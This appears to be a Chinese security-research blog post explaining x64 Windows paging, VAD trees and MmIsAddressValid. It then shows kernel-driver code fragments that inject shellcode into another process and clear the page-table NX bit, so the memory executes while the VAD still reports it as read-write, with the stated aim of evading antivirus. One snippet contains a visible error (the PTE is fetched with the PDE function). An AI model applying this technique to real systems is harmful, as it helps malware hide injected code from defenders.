Drunkmars's Blog

x64环境下隐藏可执行内存

二进制 x64
字数统计: 3.3k阅读时长: 13 min
2022/05/04

通过不落地实现反射注入shellcode到内存似乎是规避杀软hook api的一种好方式，但是无论如何某块内存的详细信息最终都会在vad里一览无余，那么vad作为内存管理的制高点，杀软自然也不会轻易放过。那么当我们反射注入执行的时候，如果杀软监控了vad树，就会捕捉到可疑内存从而查杀，那么我们要做的就是通过了解vad的机制来绕过杀软检测

vad

VAD是管理虚拟内存的，每一个进程有自己单独的一个VAD树，使用VirtualAlloc申请一个内存，则会在VAD树上增加一个结点，其是_MMVAD结构体

1
dt _MMVAD

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这里找一个进程，因为是根节点所以没有父节点

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然后往左遍历二叉树，在下一个节点处的父节点指向了上一个二叉树

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注意StartingVpn和EndingVpn这两个结构，描述了当前页的位置，以4kb为单位，即0x400000到0x488000这一块内存空间已经被占用了

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在0x18有一个ControlArea结构，描述了这块结构体到底被谁占用，这里跟进去看0x24有一个FilePointer结构，如果这里的值为0就是一个真正的物理页，如果有值继续往里面找

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这里对应了Dbgview.exe

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在操作系统里面分配的内存只可能有两种类型，一种是VirtualAlloc自己分配的内存，一种是文件映射使用CreateFileMapping的内存，当ControlArea的FilePointer值为空的时候则是我们自己用VirtualAlloc分配的内存，还没有对应，如果值不为空则是文件映射的内存

分页机制

在32位里面有2-9-9-12、10-10-12两种分页模式，而在64位下只有一种分页模式，即9-9-9-9-12分页模式

随着计算机技术的发展，64位系统逐渐占据主流地位，那么也就表示CPU的最大寻址范围为64位。但实际上，CPU只使用了其中的48位用于寻址，并使用9-9-9-9-12分页模式。即便如此，在未来较长一段时间里，48位寻址范围也足够大部分人的日常使用了

9-9-9-9-12分页表示物理地址拥有四级页表，在Intel开发手册中，将这四级页表分别称为PML4E、PDPTE、PDE、PTE，但微软的命名方式略有不同，将这四级页表分别称为PXE、PPE、PDE、PTE，WinDbg中也是如此

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启用分页模式条件：cr0.PG = 1 且 cr0.PE = 1

根据不同CPU架构及特性主要分为三种模式，处于哪种模式视寄存器属性不同：

  • 32-bit paging(32位OS): cr0.PG = 1 、 cr4.PAE = 0
  • PAE paging(32位OS且开启了PAE): cr0.PG = 1 、 cr4.PAE = 1 、 IA32_EFER.LME = 0
  • IA-32e paging(64位OS): cr0.PG = 1 、 cr4.PAE = 1 、 IA32_EFER.LME = 1

需要注意的是：

  1. 32bit下，每个entry（表项）是4字节大小；而在PAE和IA-32e下，每个entry是8字节大小
  2. 在x64体系中只实现了48位的virtual address，高16位被用作符号扩展，这高16位要么全是0，要么全是1。所以在讨论64bit地址的时候，高16位不使用

我们主要研究的是IA-32e模式下的内存，这里IA-32e提供了三种页转换模型：

  • 4k：PML4t,PDPT,PDT和PT
  • 2M：PML4T，PDPT和PDT
  • 1G：PML4T和PDPT

在4kb小页的情况下，64位可以拆分为一下几段，即9-9-9-9-9-12分页

sign extended – 符号扩展位 — 在线性地址48~63bit
PML4 entry – 在线性地址39～47bit用于索引PML4 entry，指向PDP
PDP entry – 在线性地址的30～38bit用来索引PDP entry，指向PDE
PDE entry – 在线性地址的21～29bit用来索引PDEentry，指向PTE
PTE entry – 在线性地址的12～20bit用来索引PTE entry，指向page offset
page offse t – 在线性地址的0～11bit提供在页中的offset

这里我们手动去找一下，前3位为符号扩展位，直接去掉

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可以看到PXE、PPE、PDE、PTE都是能够对应上的

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页表基址

  • 一个进程该如何访问自己的物理页呢？可以通过读取Cr3的值进行访问吗？

答案是不行，Cr3中保存的页表基址是物理地址，程序如果直接访问这个地址，虽然看上去值是一样的，但实际上访问的是一个线性地址，会被虚拟内存管理器解析成另一个地址

实际上，操作系统会将当前进程的物理页映射在某个线性地址中，以供程序读取自己的页表内容

在x86系统中，页表基址是固定的，位于0xC0000000，将这个线性地址进行解析，访问其物理页的内容，会发现从这个地址开始，里面保存的数据为当前程序的所有物理页地址

而在x64系统中，页表基址不再是固定的值，而是每次系统启动后随机生成的可以在WinDbg中查看0地址对应的线性地址来确定当前的页表基址

可以看到，当前系统的页表基址的线性地址为0xFFFFF38000000000，注意，只有后48位才是有效地址

其中，每个物理页占8个字节，例如，第一个物理页地址位于线性地址0xFFFFF38000000000，第二个物理页地址位于线性地址0xFFFF800000000008，每个物理页中包含1024个字节的数据

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MiIsAddressValid

我们在这里初步了解了windows的内存管理，那么这里我们去看一下windows是如何实现分页机制的，这里使用到MiIsAddressValid这个API

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我们首先看一下win7下MiIsAddressValid的实现

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shr eax, 14h和and eax, 0FFC相当于eax右移16位再乘以4，然后判断PS位是否为0，如果为0则不合法，则将al清零

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在64位下，存在三种不同大小的页面，分别为大页、中页、小页。其大小分别为1GB、2MB、4KB。这里判断al不等于0则继续向下执行，这里jns是通过判断SF=0，如果SF=0成立则跳转

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这里仍然后一个右移的操作，是为了将段选择子分为9-9-9-9-12五部分，然后判断P位是否有效和PAT是否为1

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这里其实看伪代码逻辑会更清晰一点，我们可以可以发现通过一系列的移位操作得到对应的PXE、PPE、PDE、PTE并判断P位验证是否有效

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那么这里我们就可以通过减去的数值取反，然后加1即可得到对应基址，通过计算得到win7 64位下的PTE_Base = fffff68000000000

我们再去看一下win10下的``MiIsAddressValid 函数

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.text:00000001400AD930 _MmIsAddressValid proc near             .text:000000014000FB6E
.text:00000001400AD930                                         
.text:00000001400AD930                 mov     rax, rcx
.text:00000001400AD933                 sar     rax, 48                               
                                                 ;取得线性地址的   高16位
.text:00000001400AD937                 inc     rax
.text:00000001400AD93A                 cmp     rax, 1
.text:00000001400AD93E                 ja      loc_1400AD9D3   
                                 ; 高16位要么全0, 要么全1 ，加一后大于1则不合法，直接返回false
.text:00000001400AD944                 mov     rax, rcx
.text:00000001400AD947                 mov     rdx, 0FFFFF6FB7DBED000h
                                                     ; PML4T 的虚拟地址
.text:00000001400AD951                 shr     rax, 39        
                                                   ; 将虚拟地址右移39位
.text:00000001400AD955                 and     eax, 1FFh      
                                                   ; 拿到pml4数组的下标
.text:00000001400AD95A                 test    byte ptr [rdx+rax*8], 1
                                                 ; 检测PML4T项p位
.text:00000001400AD95E                 jz      short loc_1400AD9D3
                                                  ; p=0 则直接返回false
.text:00000001400AD960                 mov     rax, rcx
.text:00000001400AD963                 mov     rdx, 0FFFFF6FB7DA00000h
.text:00000001400AD96D                 shr     rax, 27         
                                                ; 右移30位 ，再 乘 8 ,相当于右移27位
.text:00000001400AD971                 and     eax, 1FFFF8h   
                                                ; 8字节对齐 得到PDPT的偏移
.text:00000001400AD976                test    byte ptr [rax+rdx], 1
                                               ; 检测PDPT项的p位 rax+rdx=PDPT的首地址
.text:00000001400AD97A                jz      short loc_1400AD9D3
.text:00000001400AD97C                 mov     rdx, -0FFFFF6FB40000000h
.text:00000001400AD986                 mov     rax, rcx
.text:00000001400AD989                 shr     rax, 18        
                                                  ; 右移21位，再乘8 ,相当于右移18位
.text:00000001400AD98D                 and     eax, 3FFFFFF8h       
                                                   ;得到PDT的偏移
.text:00000001400AD992                 sub     rax, rdx      
                                                 ; rax = rax + 0FFFFF6FB40000000h  
.text:00000001400AD995                 mov     rdx, [rax]               
                                                ;此时rax指向PDT中的 某一项
.text:00000001400AD998                 test    dl, 1         
                                                  ; 检测PDT项p位
.text:00000001400AD99B                 jz      short loc_1400AD9D3
.text:00000001400AD99D                 test    dl, dl
.text:00000001400AD99F                 js      short loc_1400AD9D6
                                                     ; 是否开启PSE,是的话直接返回真
.text:00000001400AD9A1                 shr     rcx, 9         
                                                    ; 右移12位,再乘 8 ,相当于右移9位
.text:00000001400AD9A5                 mov     rax, 7FFFFFFFF8h ; 8字节对齐
.text:00000001400AD9AF                 and     rcx, rax               
.text:00000001400AD9B2                 mov     rax, -0FFFFF68000000000h
.text:00000001400AD9BC                 sub     rcx, rax
.text:00000001400AD9BF                 mov     rax, [rcx]       
                                                   ;此时RCX指向PT的的某一项
.text:00000001400AD9C2                 test    al, 1
.text:00000001400AD9C4                 jz      short loc_1400AD9D3
                                                   ; 检测PT项的P位
.text:00000001400AD9C6                 mov     r8b, 80h
.text:00000001400AD9C9                 and     al, r8b
.text:00000001400AD9CC                 cmp     al, r8b
.text:00000001400AD9CF                 setnz   al            
                                                  ; 检测PT项的PAT位是否存在，不存在返回真
.text:00000001400AD9D2                 retn
.text:00000001400AD9D3 ; ---------------------------------------------------------------------------
.text:00000001400AD9D3
.text:00000001400AD9D3 loc_1400AD9D3:                          
.text:00000001400AD9D3                                         
.text:00000001400AD9D3                 xor     al, al
.text:00000001400AD9D5                 retn
.text:00000001400AD9D6 ; ---------------------------------------------------------------------------
.text:00000001400AD9D6
.text:00000001400AD9D6 loc_1400AD9D6:                         _
.text:00000001400AD9D6                 mov     al, 1
.text:00000001400AD9D8                 retn
.text:00000001400AD9D8 _MmIsAddressValid endp

在win10 1607版本以后，微软更改了策略，将页目录基址更改为了随机地址，那么我们之前在win7里面直接定位PTE_Base的方法就不可用，那么我们就可以使用提取特征码的方式去定位内核模块的地址

首先在WinDbg中定位内核模块的地址

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然后在内核模块中搜索与当前页表基址相同的值出现的位置，当前页表基址为0xFFFF800000000000

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接着，在IDA中定位到数据所在的位置，可以看到是某行代码引用了这个值的硬编码

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在WinDbg中查看这段代码，能够识别到位于CcUnpinFileDataEx函数。那么，由于系统每次启动时基址是不固定的，因此这些值也不可能是固定的硬编码，肯定对这些值进行了修改，在需要使用时，可以通过固定的偏移量提取硬编码，从而得到页表基址，但要注意不同版本的内核文件的偏移量可能是不同的

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代码实现

那么这里我们首先编写4个函数分别定位PTE、PDE、PPE、PXE，这里g_PTE_BASE就分为两种情况

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PULONG64 GetPteAddress(PVOID addr)
{
    return (PULONG64)(((((ULONG64)addr & 0xffffffffffff) >> 12) << 3) + g_PTE_BASE);
}

PULONG64 GetPdeAddress(PVOID addr)
{
    return (PULONG64)(((((ULONG64)addr & 0xffffffffffff) >> 21) << 3) + g_PDE_BASE);
}

PULONG64 GetPpeAddress(PVOID addr)
{
    return (PULONG64)(((((ULONG64)addr & 0xffffffffffff) >> 30) << 3) + g_PPE_BASE);
}

PULONG64 GetPxeAddress(PVOID addr)
{
    return (PULONG64)(((((ULONG64)addr & 0xffffffffffff) >> 39) << 3) + g_PXE_BASE);
}

当系统为win7或者win10 1607以下版本的时候就可以直接将g_PTE_BASE定义成固定的地址

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if (versionNumber == 7600 || versionNumber < 14393)
{
	g_PTE_BASE = 0xFFFFF68000000000ull;
	return g_PTE_BASE;
}

如果为win10 1607以上的版本就需要自己通过逆向的方式提取硬编码进行定位，这里我通过MmGetVirtualForPhysical函数加偏移的方式进行定位

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UNICODE_STRING Name = { 0 };
RtlInitUnicodeString(&Name, L"MmGetVirtualForPhysical");
PUCHAR func = (PUCHAR)MmGetSystemRoutineAddress(&unName);
pte_base = *(PULONG64)(func + 0x22);
return pte_base;

那么这里要得到系统版本，就需要用到RtlGetVersion进行判断，这里注意，在win7以后如果直接使用GetVersion会失败，必须调用更底层的RtlGetVersion才能得到具体的版本

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NTSTATUS status = RtlGetVersion(&version);

这里我们明确一下思路，我们想要隐藏可执行内存，那么就可以首先申请一块可读可写的内存，然后通过修改PXE的最高位为0即可达到可执行的效果

例如下面的程序，PXE的最高位为8，则内存是没有可执行权限的

image-20220424202559150

那么这里我们找到目标进程，然后通过KeStackAttachProcess函数实现进程挂靠，即把自己的cr3换成目标进程的cr3

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NTSTATUS status = PsLookupProcessByProcessId(pid, &Process);
KAPC_STATE kapc_state = { 0 };
KeStackAttachProcess(Process, &kapc_state);

我们将cr3切换为目标进程的cr3之后就可以使用ZwAllocateVirtualMemory先分配一块可读可写的内存

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status = ZwAllocateVirtualMemory(NtCurrentProcess(), &BaseAddress, 0, &size, MEM_COMMIT, PAGE_READWRITE);

通过RtlMoveMemory写入shellcode并修改内存为可执行权限，这里我们直接定位到pte和pde修改即可将pxe的最高位置0

首先将前3位符号位去掉得到内存的起始地址和结束地址

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ULONG64 startAddress = VirtualAddress & (~0xFFF); 
ULONG64 endAddress = (VirtualAddress + size) & (~0xFFF);

这里写一个循环判断，必须每一块内存都需要修改

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for (ULONG64 i = startAddress; i <= endAddress; i += PAGE_SIZE)

结合MmIsAddressValid并判断valid是否为1，这里如果valid为0则该块内存无效，然后将no_execute置0即可获得可执行权限

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PHardwarePte pde = GetPdeAddress(i);
PHardwarePte pte = GetPdeAddress(i);

if (MmIsAddressValid(pde) && pde->valid == 1)
{
    pde->no_execute = 0;
    pde->write = 1;
}

if (MmIsAddressValid(pte) && pte->valid == 1)
{
    pte->no_execute = 0;
    pte->write = 1;
}

那么这里我们调用SetExecute函数将我们之前分配的可读可写内存修改为可读可写可执行权限

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SetExecute(BaseAddress, size);

然后使用KeUnstackDetachProcess还原cr3

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KeUnstackDetachProcess(&kapc_state);

实现效果

在64位下VadRoot位于EPROCESS结构体的7d8偏移处

image-20220504221446105

起一个notepad.exe进程定位到vad树

image-20220504221800112

然后这里可以看到有97块内存

image-20220504221852378

我们加载一下驱动，可以看到修改了pte的值，将最高位的8改为了0，分配的这块内存地址为222F5EB0000

image-20220504223225749

我们看下没有加载驱动之前vad树里面是没有这块内存的

image-20220504223334000

加载驱动之后可以看到这是一块READWRITE内存

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这里定位到地址可以看到shellcode执行成功，证明这块内存已经修改为可执行内存，但是在vad树里面仍然显示为可读可写内存

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原文作者：Drunkmars

原文链接：http://drunkmars.top/2022/05/04/x64HideMemory/

发表日期：五月 4日 2022, 12:00:00 凌晨

更新日期：May 6th 2022, 8:43:16 pm

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  1. 1. vad
  2. 2. 分页机制
  3. 3. 页表基址
  4. 4. MiIsAddressValid
  5. 5. 代码实现
  6. 6. 实现效果
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